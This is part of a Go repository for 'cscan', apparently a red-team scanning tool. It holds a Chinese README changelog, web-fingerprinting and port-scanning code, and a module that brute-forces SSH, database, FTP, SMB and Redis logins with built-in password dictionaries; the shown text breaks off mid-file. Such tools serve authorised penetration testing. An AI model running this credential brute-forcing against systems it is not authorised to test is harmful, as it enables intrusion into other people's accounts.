80 | 8161 9001 9090 9443 21 22 445 1100 1433 1434 1521 3306 3389 3399
81 | 6379 8009 9200 11211 27017 15672 27017 25672 50070 61613 61614
82 | ```
83 |
84 | ## 版本信息:
85 | ### v1.4 🐨
86 | 1. 解决了部分系统出现的第一次启动卡顿问题,再也不会第一次启动卡住了!!!!
87 | 2. 优化了 flag 分类,看上去更加的明晰。
88 |
89 | ### v1.3.4 🐻❄️
90 | 1. 更新了扫描端口范围时的,1-65535的刷屏问题,让显示更加精简
91 |
92 | ### v1.3.3 🐼
93 | 1. 修复了IP资产出现错误就会崩溃的 bug
94 |
95 | ### v1.3.2 🐻
96 | 1. 最近在 hw,发现好多工具扫描端口都是只能扫描 IP,但是无法扫描域名,所以加了个识别域名并扫描域名端口的功能,也在 -i 里。
97 | 如:`./cscan -i www.baidu.com` 或者 `./cscan -l domain.txt`
98 |
99 | ### v1.3.1 🦊
100 | 1. 更新了默认端口扫描,恢复了原来的常用端口(因为发现直接使用 5000-10000 这个扫描实在是太慢了,但是效果好),看个人喜好吧,如果想要全一点,又想要快一点,可以手动加入以下命令:
101 | ```text
102 | ./cscan -i xxx.xxx.xxx.xxx/24 -dp 5000-10000
103 | ```
104 | 2. 修改了扫描逻辑,以前是全部扫描完端口之后,再进行 web 检测,这样效率太低,导致红队队员们要等到最后才能拿到结果;现在边扫端口边扫 web,有端口开放就直接扫描 web,如果你导出了 csv 文件,那么工具也会同时导出端口的扫描结果和 web 的扫描结果(建议每次都加 -o)
105 | ```text
106 | ./cscan -i xxx.xxx.xxx.xxx/24 -o result.csv
107 | ```
108 |
109 |
110 | ### v1.2.2 🐰
111 | 更新了自带默认端口,新增了一些打 HW 常见的系统端口
112 | ```text
113 | 80, 81, 82, 83, 84, 85, 86, 87, 89, 88, 443, 21, 22,
114 | 445, 1100, 1433, 1883, 1434, 1521, 3306, 3389, 3399, 4369,
115 | 5000-10000,
116 | 11211, 15672, 27017, 25672, 50070, 61613, 61614
117 | ```
118 | PS:发现了一个问题,编译好的文件,在 mac 和 linux 上执行,反馈很快,但是在 win 上执行,就要加载很久,我暂时不知道是什么原因,正在调查,如有大佬知道,原因,还希望大佬不吝赐教,暂时推荐该工具在 mac 与 linux 上使用,我测试的 win 比较少,如果大家用的 win 没问题,希望提个 Issues 提醒一下我,最后再次感谢 🙏
119 |
120 |
121 | ### v1.2.1 🐹
122 | 更新了开源证书
123 |
124 | ### v1.2.0 🐭
125 | #### 新版本迭代实现的功能:
126 | 1. 增加新选项,-nc 禁止暴力破解
127 | 2. 支持简单的暴力破解功能(内置简易字典,无需设置)
128 | 1. 支持 SSH 协议暴力破解
129 | 2. 支持 Mssql 协议暴力破解
130 | 3. 支持 Mysql 协议暴力破解
131 | 4. 支持 Ftp 协议暴力破解
132 | 5. 支持 Smb 协议暴力破解
133 | 6. 支持 Memcached 协议暴力破解
134 | 7. 支持 Mongodb 协议暴力破解
135 | 8. 支持 Oracle 协议暴力破解
136 | 9. 支持 Postgres 协议暴力破解
137 | 10. 支持 Redis 协议暴力破解
138 | #### 友情提示:
139 | 1. 本爆破功能只是简单的爆破,所以字典是内置的
140 | 2. 本爆破功能只是在扫描端口的时候,偶尔给你来点小惊喜,如果需要专业的爆破,请移步专业爆破工具,推荐 crack
141 |
142 | ### v1.1.0 🐱
143 | #### 新版本迭代实现的功能:
144 | 1. 扫描完端口之后,对于开放的端口,检测是否有 web 服务(并且检测到的结果终端输出显示的花里胡哨)
145 | 2. 只输出指定状态码的扫描结果
146 | 3. 实现导出功能,支持 txt、csv 两种格式
147 | #### 新版本改动:
148 | 1. 考虑到使用场景大部分是在内网,所以缩短了 timeout 的超时时间,由原来的 10s 修改为 7s(这将大大提高扫描效率,如果网络连通性不好,可以自行修改)
149 | 2. 默认 50 的线程数修改为 100
150 |
151 |
152 | ### v1.0.0 🐶
153 | #### 作为初始版本,主要支持的功能有:
154 | 1. 基本的端口扫描
155 | 2. 支持 IP、IP段、c段,三种格式的扫描方式
156 | 3. 端口输入支持范围输入
157 | 4. 导入 IP 文件同样支持 IP、IP段、c段,三种格式的扫描方式
158 | 5. 支持 socks5、http 代理,方便挂代理扫描,或者穿透到内网扫描
159 | #### 后续准备添加的功能有(画饼):
160 | 1. 支持导出输出结果(因为暂时功能太少了,所以还没写导出,不过这个很简单,很快就能写好)
161 | 2. 扫描完端口之后,对于开放的端口,检测是否有 web 服务
162 | 3. 对于一些常用的端口,如:3306,1433等,进行简单的弱口令爆破(放心,密码不会太多!)
163 | 4. 暂时想不到了,等想到了再补充...
164 |
165 | ---
166 | ## Star History
167 |
168 | [](https://star-history.com/#ifacker/cscan-go&Date)
169 | ---
170 | 
171 |
--------------------------------------------------------------------------------
/control/scan/webScan.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/control/http"
6 | "cscan/control/output"
7 | "cscan/util/view"
8 | "fmt"
9 | "log"
10 | http2 "net/http"
11 | "strings"
12 | "sync"
13 |
14 | "github.com/antchfx/htmlquery"
15 | "github.com/gookit/color"
16 | "golang.org/x/net/html"
17 | )
18 |
19 | // 获取关键信息 title
20 | func getMeta(n *html.Node) (title string) {
21 | if n == nil {
22 | return ""
23 | }
24 | // 获取title
25 | titletmp := htmlquery.FindOne(n, "/html/head/title/text()")
26 | if titletmp == nil {
27 | return ""
28 | }
29 | title = htmlquery.InnerText(titletmp)
30 | return
31 | }
32 |
33 | func reqfunc(url string) *config.WebInfo {
34 | webinfo := &config.WebInfo{}
35 | client := http.NewClient()
36 | // 禁止 302 跳转
37 | client.CheckRedirect = func(req *http2.Request, via []*http2.Request) error {
38 | return http2.ErrUseLastResponse
39 | }
40 | req, err := http2.NewRequest("GET", url, nil)
41 | if err != nil && config.Debug {
42 | log.Println(err)
43 | }
44 | req.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.0 Safari/537.36")
45 | resp, err := client.Do(req)
46 | if err != nil {
47 | if config.Debug {
48 | log.Println(err)
49 | }
50 | return nil
51 | }
52 | //defer resp.Body.Close()
53 | defer func() {
54 | if err = resp.Body.Close(); err != nil && config.Debug {
55 | log.Println(err)
56 | }
57 | }()
58 |
59 | webinfo.Code = resp.StatusCode
60 | webinfo.Len = resp.ContentLength
61 | webinfo.Url = url
62 | var doc *html.Node
63 | webinfo.Title = getMeta(doc)
64 | url302Jump := resp.Header.Get("Location")
65 | if url302Jump != "" {
66 | webinfo.Url302Jump = url + url302Jump
67 | }
68 | webinfo.Server = resp.Header.Get("Server")
69 | webinfo.XPoweredBy = resp.Header.Get("X-Powered-By")
70 |
71 | return webinfo
72 | }
73 |
74 | // 检测 web 服务
75 | func WebScan(ipOption *config.IpOption) {
76 | urls := []string{
77 | fmt.Sprintf("https://%s:%d", ipOption.Ip, ipOption.Port),
78 | fmt.Sprintf("http://%s:%d", ipOption.Ip, ipOption.Port),
79 | }
80 |
81 | // 我这边 http 和 https 协议全部都做检测
82 | for _, url := range urls {
83 | webInfo := reqfunc(url)
84 | if webInfo != nil {
85 | ipOption.WebInfo = *webInfo
86 | }
87 | }
88 |
89 | // 备注:这里记得处理一下 http 和 https 两个协议,原版 cscan 中使用的方法是,如果端口不是 443,8443,就走http,否则就走 https
90 |
91 | }
92 |
93 | // 批量检测 web 服务
94 | func WebScans(ipOptions *config.IpOptions) {
95 | var ThreadMaxChan = make(chan int, config.ThreadMax)
96 | wg := &sync.WaitGroup{}
97 |
98 | contains := func(s []int, e int) bool {
99 | for _, a := range s {
100 | if a == e {
101 | return true
102 | }
103 | }
104 | return false
105 | }
106 |
107 | for _, option := range ipOptions.IpOption {
108 | if !option.PortOpenStatus {
109 | continue
110 | }
111 | wg.Add(1)
112 | ThreadMaxChan <- 1
113 | go func(ipOption *config.IpOption) {
114 | WebScan(ipOption)
115 |
116 | if ipOption.WebInfo.Code != 0 {
117 |
118 | // 打印输出
119 | // filters 为空代表没有使用 -filter 参数
120 | if contains(config.Filters, ipOption.WebInfo.Code) || config.Filters == nil {
121 | codeTmp := ""
122 | if 200 <= ipOption.WebInfo.Code && ipOption.WebInfo.Code < 300 {
123 | codeTmp += color.C256(46).Sprintf("[") + color.C256(196).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]")
124 | } else if 300 <= ipOption.WebInfo.Code && ipOption.WebInfo.Code < 400 {
125 | codeTmp += color.C256(46).Sprintf("[") + color.C256(154).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]")
126 | } else {
127 | codeTmp += color.C256(46).Sprintf("[") + color.C256(249).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]")
128 | }
129 |
130 | titleTmp := color.C256(46).Sprintf("[") + color.C256(165).Sprintf("%s", ipOption.WebInfo.Title) + color.C256(46).Sprintf("]")
131 | lenTmp := color.C256(46).Sprintf("[") + color.C256(200).Sprintf("%d", ipOption.WebInfo.Len) + color.C256(46).Sprintf("]")
132 | serverTmp := color.C256(46).Sprintf("[") + color.C256(226).Sprintf("%s", ipOption.WebInfo.Server) + color.C256(46).Sprintf("]")
133 | xPoweredByTmp := color.C256(46).Sprintf("[") + color.C256(51).Sprintf("%s", ipOption.WebInfo.XPoweredBy) + color.C256(46).Sprintf("]")
134 | url302JumpTmp := color.C256(46).Sprintf(" --> ") + color.C256(46).Sprintf("%s", ipOption.WebInfo.Url302Jump)
135 | tmpprint := ipOption.WebInfo.Url + "\t" + codeTmp
136 |
137 | if ipOption.WebInfo.Title != "" {
138 | tmpprint += titleTmp
139 | }
140 | tmpprint += " "
141 | if ipOption.WebInfo.Server != "" {
142 | tmpprint += serverTmp
143 | }
144 | if ipOption.WebInfo.XPoweredBy != "" {
145 | tmpprint += xPoweredByTmp
146 | }
147 | tmpprint += lenTmp
148 | if ipOption.WebInfo.Url302Jump != "" {
149 | tmpprint += url302JumpTmp
150 | }
151 | view.PrintlnSuccess(tmpprint)
152 | }
153 |
154 | // 导出
155 | if config.OutPutType != "" {
156 | if strings.Contains(config.OutPutType, ".csv") {
157 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_webScan.csv"
158 | output.OutputFile(path, ipOption, config.MODE_WEB)
159 | } else {
160 | output.OutputFile(config.OutPutType, ipOption, config.MODE_WEB)
161 | }
162 | }
163 | }
164 | wg.Done()
165 | <-ThreadMaxChan
166 | }(option)
167 | }
168 | close(ThreadMaxChan)
169 | wg.Wait()
170 | }
171 |
--------------------------------------------------------------------------------
/control/scan/start.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | // import (
4 | // "cscan/config"
5 | // "cscan/control/crack"
6 | // "cscan/util/file"
7 | // "cscan/util/identify"
8 | // "cscan/util/view"
9 | // "fmt"
10 | // "github.com/gookit/color"
11 | // "log"
12 | // "os"
13 | // "strconv"
14 | // "strings"
15 | // "sync"
16 | // "time"
17 | // )
18 |
19 | // 加载输入的参数
20 | // func loadConfig() *config.IpOptions {
21 | // ipOptions := &config.IpOptions{}
22 |
23 | // // 端口识别代码块
24 | // var ports []int
25 |
26 | // // 添加端口的内部通用方法
27 | // dfPort := func() {
28 |
29 | // tmpPorts := ""
30 | // if config.DefaultPorts != "" {
31 | // tmpPorts = config.DefaultPorts
32 | // } else if config.ForbidPorts != "" {
33 | // tmpPorts = config.ForbidPorts
34 | // }
35 |
36 | // // 识别分隔符关键字符的内部方法
37 | // identifyKeywords := func(keyword string) {
38 | // portsStr := strings.Split(strings.TrimSpace(tmpPorts), keyword)
39 | // for _, s := range portsStr {
40 | // s = strings.TrimSpace(s)
41 | // // 判断 s 里是否含有 "-"
42 | // if strings.Contains(s, "-") {
43 | // stmps := strings.Split(s, "-")
44 | // min, err := strconv.Atoi(stmps[0])
45 | // max, err := strconv.Atoi(stmps[1])
46 | // if err != nil {
47 | // if config.Debug {
48 | // log.Println(err)
49 | // view.PrintlnError("输入的 port 格式有误,请重试!案例:1-65535")
50 | // }
51 | // os.Exit(1)
52 | // }
53 | // for i := min; i <= max; i++ {
54 | // ports = append(ports, i)
55 | // }
56 | // } else {
57 | // port, err := strconv.Atoi(s)
58 | // if err != nil {
59 | // if config.Debug {
60 | // log.Println(err)
61 | // view.PrintlnError("输入的 port 格式有误,请重试!")
62 | // }
63 | // os.Exit(1)
64 | // }
65 | // ports = append(ports, port)
66 | // }
67 | // }
68 | // }
69 |
70 | // // 识别分隔符
71 | // if strings.Contains(tmpPorts, ",") {
72 | // identifyKeywords(",")
73 | // } else if strings.Contains(tmpPorts, ";") {
74 | // identifyKeywords(";")
75 | // } else {
76 | // identifyKeywords(" ")
77 | // }
78 | // }
79 |
80 | // if config.DefaultPorts != "" {
81 | // // 指定端口,加默认端口扫描
82 |
83 | // dfPort()
84 |
85 | // // 添加默认端口
86 | // ports = append(ports, config.Ports...)
87 |
88 | // // 去重函数
89 | // uniq := func(s []int) []int {
90 | // m := make(map[int]interface{}) // 用来记录元素
91 | // for _, v := range s {
92 | // m[v] = nil
93 | // }
94 |
95 | // ret := []int{} // 结果slice
96 | // for k := range m {
97 | // ret = append(ret, k)
98 | // }
99 | // return ret
100 | // }
101 | // // 对 ports 进行去重
102 | // ports = uniq(ports)
103 |
104 | // // 测试代码:展示所有要扫描的端口
105 | // //fmt.Println(ports)
106 |
107 | // } else if config.ForbidPorts != "" {
108 | // // 指定端口,并禁用默认端口扫描
109 |
110 | // dfPort()
111 |
112 | // // 测试代码:展示所有要扫描的端口
113 | // fmt.Println(ports)
114 | // } else {
115 | // // 未输入端口参数,使用默认端口
116 | // ports = config.Ports
117 | // }
118 |
119 | // ipOptions.Ports = ports
120 |
121 | // // IP识别代码块
122 | // var ips []string
123 |
124 | // // -l 识别 IP 文件
125 | // if config.IpFilePath != "" {
126 | // c := make(chan bool)
127 | // textb := file.ReadFile(config.IpFilePath)
128 | // texts := strings.Split(string(textb), "\n")
129 | // wg := &sync.WaitGroup{}
130 | // wg.Add(1)
131 | // // 显示加载界面
132 | // go func(c chan bool) {
133 | // color.C256(226).Print(" Loading")
134 | // out:
135 | // for {
136 | // select {
137 | // case <-c:
138 | // break out
139 | // default:
140 | // color.C256(226).Print(".")
141 | // time.Sleep(1 * time.Second)
142 | // }
143 | // }
144 | // color.C256(226).Println("OK!\n")
145 | // wg.Done()
146 | // }(c)
147 | // for _, text := range texts {
148 | // result, err := identify.IpRange(text)
149 | // if err != nil && config.Debug {
150 | // log.Println(err)
151 | // continue
152 | // }
153 | // ips = append(ips, result...)
154 | // }
155 | // c <- true
156 | // wg.Wait()
157 | // }
158 |
159 | // // -i 识别 IP、IP段或IP区间
160 | // // 如:192.168.1.1 | 192.168.1.1/24 | 192.168.1.1-20
161 | // if config.IpInfo != "" {
162 | // result, err := identify.IpRange(config.IpInfo)
163 | // if err != nil && config.Debug {
164 | // log.Println(err)
165 | // os.Exit(1)
166 | // }
167 | // ips = append(ips, result...)
168 | // }
169 | // ipOptions.Ips = ips
170 | // return ipOptions
171 | // }
172 |
173 | // // 初始化过滤输出端口
174 | // func filterInit() {
175 |
176 | // if config.Filter == "" {
177 | // return
178 | // }
179 |
180 | // // 识别分隔符关键字符的内部方法
181 | // identifyKeywords := func(keyword string) {
182 | // filterStatusCode := strings.Split(strings.TrimSpace(config.Filter), keyword)
183 | // for _, s := range filterStatusCode {
184 | // s = strings.TrimSpace(s)
185 | // // 判断 s 里是否含有 "-"
186 | // if strings.Contains(s, "-") {
187 | // stmps := strings.Split(s, "-")
188 | // min, err := strconv.Atoi(stmps[0])
189 | // max, err := strconv.Atoi(stmps[1])
190 | // if err != nil {
191 | // if config.Debug {
192 | // log.Println(err)
193 | // view.PrintlnError("输入的 filter 格式有误,请重试!案例:300-500")
194 | // }
195 | // os.Exit(1)
196 | // }
197 | // for i := min; i <= max; i++ {
198 | // config.Filters = append(config.Filters, i)
199 | // }
200 | // } else {
201 | // port, err := strconv.Atoi(s)
202 | // if err != nil {
203 | // if config.Debug {
204 | // log.Println(err)
205 | // view.PrintlnError("输入的 filter 格式有误,请重试!")
206 | // }
207 | // os.Exit(1)
208 | // }
209 | // config.Filters = append(config.Filters, port)
210 | // }
211 | // }
212 | // }
213 |
214 | // if strings.Contains(config.Filter, ",") {
215 | // identifyKeywords(",")
216 | // } else if strings.Contains(config.Filter, ";") {
217 | // identifyKeywords(";")
218 | // } else {
219 | // identifyKeywords(" ")
220 | // }
221 | // }
222 |
223 | // // 端口扫描
224 | // func portScan(ipOptions *config.IpOptions) {
225 | // PortScans(ipOptions)
226 | // }
227 |
228 | // // web 扫描
229 | // func webScan(ipOptions *config.IpOptions) {
230 | // WebScans(ipOptions)
231 | // }
232 |
233 | // // 对一些特殊端口进行暴力破解
234 | // func crackStart(ipOption *config.IpOptions) {
235 | // if config.NotCrack {
236 | // return
237 | // }
238 | // crack.StartCrack(ipOption)
239 | // }
240 |
241 | // func StartScans() {
242 | // ipOptions := loadConfig()
243 | // filterInit()
244 | // portScan(ipOptions)
245 | // webScan(ipOptions)
246 | // crackStart(ipOptions)
247 | // //fmt.Println(ipOptions)
248 | // }
249 |
--------------------------------------------------------------------------------
/control/newScan/start.go:
--------------------------------------------------------------------------------
1 | package newScan
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/util/file"
6 | "cscan/util/identify"
7 | "cscan/util/view"
8 | "fmt"
9 | "log"
10 | "os"
11 | "strconv"
12 | "strings"
13 | "sync"
14 |
15 | "github.com/gookit/color"
16 | "github.com/ifacker/myutil"
17 | )
18 |
19 | // 懒加载 port
20 | var once sync.Once
21 | var startPorts []int
22 |
23 | func initPorts() {
24 | portsTmp := strings.Split(config.Ports, ",")
25 | for _, portstr := range portsTmp {
26 | portInt, err := strconv.Atoi(strings.TrimSpace(portstr))
27 | if err != nil {
28 | color.Errorf("端口识别错误:%s", err)
29 | os.Exit(1)
30 | }
31 | // startPorts = make([]int, 0)
32 | startPorts = append(startPorts, portInt)
33 | }
34 | }
35 |
36 | func GetPorts() []int {
37 | once.Do(initPorts)
38 | return startPorts
39 | }
40 |
41 | // 加载输入的参数
42 | func loadConfig() *config.IpOptions {
43 | ipOptions := &config.IpOptions{}
44 |
45 | // 端口识别代码块
46 | var ports []int
47 |
48 | // 添加端口的内部通用方法
49 | dfPort := func() {
50 |
51 | tmpPorts := ""
52 | if config.DefaultPorts != "" {
53 | tmpPorts = config.DefaultPorts
54 | } else if config.ForbidPorts != "" {
55 | tmpPorts = config.ForbidPorts
56 | }
57 |
58 | // 识别分隔符关键字符的内部方法
59 | identifyKeywords := func(keyword string) {
60 | portsStr := strings.Split(strings.TrimSpace(tmpPorts), keyword)
61 | for _, s := range portsStr {
62 | s = strings.TrimSpace(s)
63 | // 判断 s 里是否含有 "-"
64 | if strings.Contains(s, "-") {
65 | stmps := strings.Split(s, "-")
66 | min, err := strconv.Atoi(stmps[0])
67 | max, err := strconv.Atoi(stmps[1])
68 | if err != nil {
69 | if config.Debug {
70 | log.Println(err)
71 | view.PrintlnError("输入的 port 格式有误,请重试!案例:1-65535")
72 | }
73 | os.Exit(1)
74 | }
75 | for i := min; i <= max; i++ {
76 | ports = append(ports, i)
77 | }
78 | } else {
79 | port, err := strconv.Atoi(s)
80 | if err != nil {
81 | if config.Debug {
82 | log.Println(err)
83 | view.PrintlnError("输入的 port 格式有误,请重试!")
84 | }
85 | os.Exit(1)
86 | }
87 | ports = append(ports, port)
88 | }
89 | }
90 | }
91 |
92 | // 识别分隔符
93 | if strings.Contains(tmpPorts, ",") {
94 | identifyKeywords(",")
95 | } else if strings.Contains(tmpPorts, ";") {
96 | identifyKeywords(";")
97 | } else {
98 | identifyKeywords(" ")
99 | }
100 | }
101 |
102 | if config.DefaultPorts != "" {
103 | // 指定端口,加默认端口扫描
104 |
105 | dfPort()
106 |
107 | // 添加默认端口
108 | // ports = append(ports, config.Ports...)
109 | ports = append(ports, GetPorts()...)
110 |
111 | // 去重函数
112 | uniq := func(s []int) []int {
113 | m := make(map[int]interface{}) // 用来记录元素
114 | for _, v := range s {
115 | m[v] = nil
116 | }
117 |
118 | ret := []int{} // 结果slice
119 | for k := range m {
120 | ret = append(ret, k)
121 | }
122 | return ret
123 | }
124 | // 对 ports 进行去重
125 | ports = uniq(ports)
126 |
127 | // 测试代码:展示所有要扫描的端口
128 | fmt.Printf(strings.ReplaceAll(strings.ReplaceAll(fmt.Sprintf("Port: %v %s", config.Ports, config.DefaultPorts), "[", ""), "]", ""))
129 |
130 | } else if config.ForbidPorts != "" {
131 | // 指定端口,并禁用默认端口扫描
132 |
133 | dfPort()
134 |
135 | // 测试代码:展示所有要扫描的端口
136 | fmt.Printf("Port: %s", config.ForbidPorts)
137 | } else {
138 | // 未输入端口参数,使用默认端口
139 | // ports = config.Ports
140 | ports = GetPorts()
141 | }
142 |
143 | ipOptions.Ports = ports
144 |
145 | // IP识别代码块
146 | //var ips []string
147 | var ips = make(myutil.Set)
148 |
149 | // -l 识别 IP 文件
150 | if config.IpFilePath != "" {
151 | //c := make(chan bool)
152 | textb := file.ReadFile(config.IpFilePath)
153 | texts := strings.Split(string(textb), "\n")
154 | //wg := &sync.WaitGroup{}
155 | //wg.Add(1)
156 | // 显示加载界面
157 | //go func(c chan bool) {
158 | // color.C256(226).Print(" Loading")
159 | //out:
160 | // for {
161 | // select {
162 | // case <-c:
163 | // break out
164 | // default:
165 | // color.C256(226).Print(".")
166 | // time.Sleep(1 * time.Second)
167 | // }
168 | // }
169 | // color.C256(226).Println("OK!\n")
170 | // wg.Done()
171 | //}(c)
172 | for _, text := range texts {
173 | resultDomain, err := identify.DomainRegex(text)
174 | if err != nil && config.Debug {
175 | log.Println(err)
176 | }
177 | ips.AddAll(resultDomain)
178 | resultIp, err := identify.IpRange(text)
179 | if err != nil && config.Debug {
180 | log.Println(err)
181 | }
182 | //ips = append(ips, resultIp...)
183 | ips.AddAll(resultIp)
184 | }
185 | if len(ips) <= 0 {
186 | os.Exit(1)
187 | }
188 | //c <- true
189 | //wg.Wait()
190 | }
191 |
192 | // -i 识别 IP、IP段或IP区间
193 | // 如:192.168.1.1 | 192.168.1.1/24 | 192.168.1.1-20
194 | if config.IpInfo != "" {
195 |
196 | resultDomain, err := identify.DomainRegex(config.IpInfo)
197 | if err != nil && config.Debug {
198 | log.Println(err)
199 | }
200 | //ips = append(ips, resultDomain...)
201 | ips.AddAll(resultDomain)
202 |
203 | resultIp, err := identify.IpRange(config.IpInfo)
204 | if err != nil && config.Debug {
205 | log.Println(err)
206 | }
207 | //ips = append(ips, resultIp...)
208 | ips.AddAll(resultIp)
209 |
210 | if len(ips) <= 0 {
211 | os.Exit(1)
212 | }
213 | }
214 | var ipsTmp []string
215 | for ip, _ := range ips {
216 | ipsTmp = append(ipsTmp, ip)
217 | }
218 | ipOptions.Ips = ipsTmp
219 | return ipOptions
220 | }
221 |
222 | // 初始化过滤输出端口
223 | func filterInit() {
224 |
225 | if config.Filter == "" {
226 | return
227 | }
228 |
229 | // 识别分隔符关键字符的内部方法
230 | identifyKeywords := func(keyword string) {
231 | filterStatusCode := strings.Split(strings.TrimSpace(config.Filter), keyword)
232 | for _, s := range filterStatusCode {
233 | s = strings.TrimSpace(s)
234 | // 判断 s 里是否含有 "-"
235 | if strings.Contains(s, "-") {
236 | stmps := strings.Split(s, "-")
237 | min, err := strconv.Atoi(stmps[0])
238 | max, err := strconv.Atoi(stmps[1])
239 | if err != nil {
240 | if config.Debug {
241 | log.Println(err)
242 | view.PrintlnError("输入的 filter 格式有误,请重试!案例:300-500")
243 | }
244 | os.Exit(1)
245 | }
246 | for i := min; i <= max; i++ {
247 | config.Filters = append(config.Filters, i)
248 | }
249 | } else {
250 | port, err := strconv.Atoi(s)
251 | if err != nil {
252 | if config.Debug {
253 | log.Println(err)
254 | view.PrintlnError("输入的 filter 格式有误,请重试!")
255 | }
256 | os.Exit(1)
257 | }
258 | config.Filters = append(config.Filters, port)
259 | }
260 | }
261 | }
262 |
263 | if strings.Contains(config.Filter, ",") {
264 | identifyKeywords(",")
265 | } else if strings.Contains(config.Filter, ";") {
266 | identifyKeywords(";")
267 | } else {
268 | identifyKeywords(" ")
269 | }
270 | }
271 |
272 | func NewStartScans() {
273 | ipOptions := loadConfig()
274 | filterInit()
275 | // 对 IP 进行端口扫描,http检测,以及暴力破解
276 | Scans(ipOptions)
277 | }
278 |
--------------------------------------------------------------------------------
/control/crack/crack.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/control/crack/connectLib"
6 | "cscan/control/output"
7 | "cscan/util/file"
8 | "cscan/util/view"
9 | "embed"
10 | "github.com/gookit/color"
11 | "log"
12 | "strings"
13 | "sync"
14 | )
15 |
16 | //go:embed dic
17 | var Dic embed.FS
18 |
19 | var (
20 | usernamePath string
21 | passwordPath string
22 | )
23 |
24 | // 初始化 Dic 字典目录
25 | func init() {
26 | ents, err := Dic.ReadDir("dic")
27 | if err != nil {
28 | if config.Debug {
29 | log.Println(err)
30 | }
31 | return
32 | }
33 | for _, ent := range ents {
34 | path := ent.Name()
35 | if strings.Contains(strings.ToLower(path), "username") {
36 | usernamePath = path
37 | }
38 | if strings.Contains(strings.ToLower(path), "password") {
39 | passwordPath = path
40 | }
41 | }
42 | }
43 |
44 | // 破解子模块
45 | //func subCrack(deal string, ipOption *config.IpOption, passwords []string, wg *sync.WaitGroup, ThreadMaxChan chan int) {
46 | // ipOption.CrackInfo.Deal = deal
47 | // for _, username := range config.Userdict[deal] {
48 | // for _, passwordTmp := range passwords {
49 | // var password string
50 | // // 替换 superkey
51 | // if strings.Contains(passwordTmp, "{{USER}}") {
52 | // password = strings.ReplaceAll(passwordTmp, "{{USER}}", username)
53 | // } else {
54 | // password = passwordTmp
55 | // }
56 | // connect := &connectLib.IpCrack{
57 | // Ip: ipOption.Ip,
58 | // Port: ipOption.Port,
59 | // UserName: username,
60 | // Password: password,
61 | // CrackStatus: false,
62 | // }
63 | // wg.Add(1)
64 | // ThreadMaxChan <- 1
65 | // go func(connect *connectLib.IpCrack, ipOption *config.IpOption) {
66 | //
67 | // connect.ConnectSSH()
68 | //
69 | // ipOption.CrackInfo.UserName = connect.UserName
70 | // ipOption.CrackInfo.Password = connect.Password
71 | // if connect.CrackStatus {
72 | //
73 | // // 打印输出
74 | // ipAndPort := color.C256(46).Sprintf("%s:%d\t", ipOption.Ip, ipOption.Port)
75 | // userName := color.C256(226).Sprintf("%s\t", ipOption.CrackInfo.UserName)
76 | // passWord := color.C256(51).Sprintf("%s\t", ipOption.CrackInfo.Password)
77 | // deal := color.C256(219).Sprintf("%s\n", ipOption.CrackInfo.Deal)
78 | // tmpprint := ipAndPort + userName + passWord + deal
79 | // view.PrintlnSuccess(tmpprint)
80 | //
81 | // // 导出
82 | // if config.OutPutType != "" {
83 | // if strings.Contains(config.OutPutType, ".csv") {
84 | // path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_Crack.csv"
85 | // output.OutputFile(path, ipOption, config.MODE_CRACK)
86 | // } else {
87 | // output.OutputFile(config.OutPutType, ipOption, config.MODE_CRACK)
88 | // }
89 | // }
90 | // }
91 | // wg.Done()
92 | // <-ThreadMaxChan
93 | // }(connect, ipOption)
94 | // }
95 | // }
96 | //}
97 |
98 | // 暴力破解模块
99 | func StartCrack(ipOptions *config.IpOptions) {
100 | // 加载读取字典文件
101 | usernames := file.ReadFile2Strings4embed(Dic, usernamePath)
102 | // password 中含有 superkey,后期进行暴力破解的时候,会对 superkey 进行解析适配
103 | passwords := file.ReadFile2Strings4embed(Dic, passwordPath)
104 |
105 | wg := &sync.WaitGroup{}
106 | var ThreadMaxChan = make(chan int, config.ThreadMax)
107 |
108 | for _, username := range usernames {
109 | for _, passwordTmp := range passwords {
110 | var password string
111 | // 替换 superkey
112 | if strings.Contains(passwordTmp, "{{USER}}") {
113 | password = strings.ReplaceAll(passwordTmp, "{{USER}}", username)
114 | } else {
115 | password = passwordTmp
116 | }
117 | for _, ipOption := range ipOptions.IpOption {
118 | if ipOption.PortOpenStatus {
119 | connect := &connectLib.IpCrack{
120 | Ip: ipOption.Ip,
121 | Port: ipOption.Port,
122 | UserName: username,
123 | Password: password,
124 | CrackStatus: false,
125 | }
126 |
127 | wg.Add(1)
128 | ThreadMaxChan <- 1
129 | go func(connect *connectLib.IpCrack, ipOption *config.IpOption) {
130 | // 根据端口来选择要使用的爆破协议
131 | switch ipOption.Port {
132 | case config.PostsCrackMap["ssh"]:
133 | ipOption.CrackInfo.Deal = "ssh"
134 | connect.ConnectSSH()
135 | case config.PostsCrackMap["mssql"]:
136 | ipOption.CrackInfo.Deal = "mssql"
137 | connect.ConnectMssql()
138 | case config.PostsCrackMap["mysql"]:
139 | ipOption.CrackInfo.Deal = "mysql"
140 | connect.ConnectMysql()
141 | case config.PostsCrackMap["ftp"]:
142 | ipOption.CrackInfo.Deal = "ftp"
143 | connect.ConnectFtp()
144 | case config.PostsCrackMap["smb"]:
145 | ipOption.CrackInfo.Deal = "smb"
146 | connect.ConnectSmb()
147 | case config.PostsCrackMap["memcached"]:
148 | ipOption.CrackInfo.Deal = "memcached"
149 | connect.ConnectMemcached()
150 | case config.PostsCrackMap["mongodb"]:
151 | ipOption.CrackInfo.Deal = "mongodb"
152 | connect.ConnectMongodb()
153 | case config.PostsCrackMap["oracle"]:
154 | ipOption.CrackInfo.Deal = "oracle"
155 | connect.ConnectOracle()
156 | case config.PostsCrackMap["postgres"]:
157 | ipOption.CrackInfo.Deal = "postgres"
158 | connect.ConnectPostgres()
159 | case config.PostsCrackMap["redis"]:
160 | ipOption.CrackInfo.Deal = "redis"
161 | connect.ConnectRedis()
162 | //case config.PostsCrackMap["rdp"]:
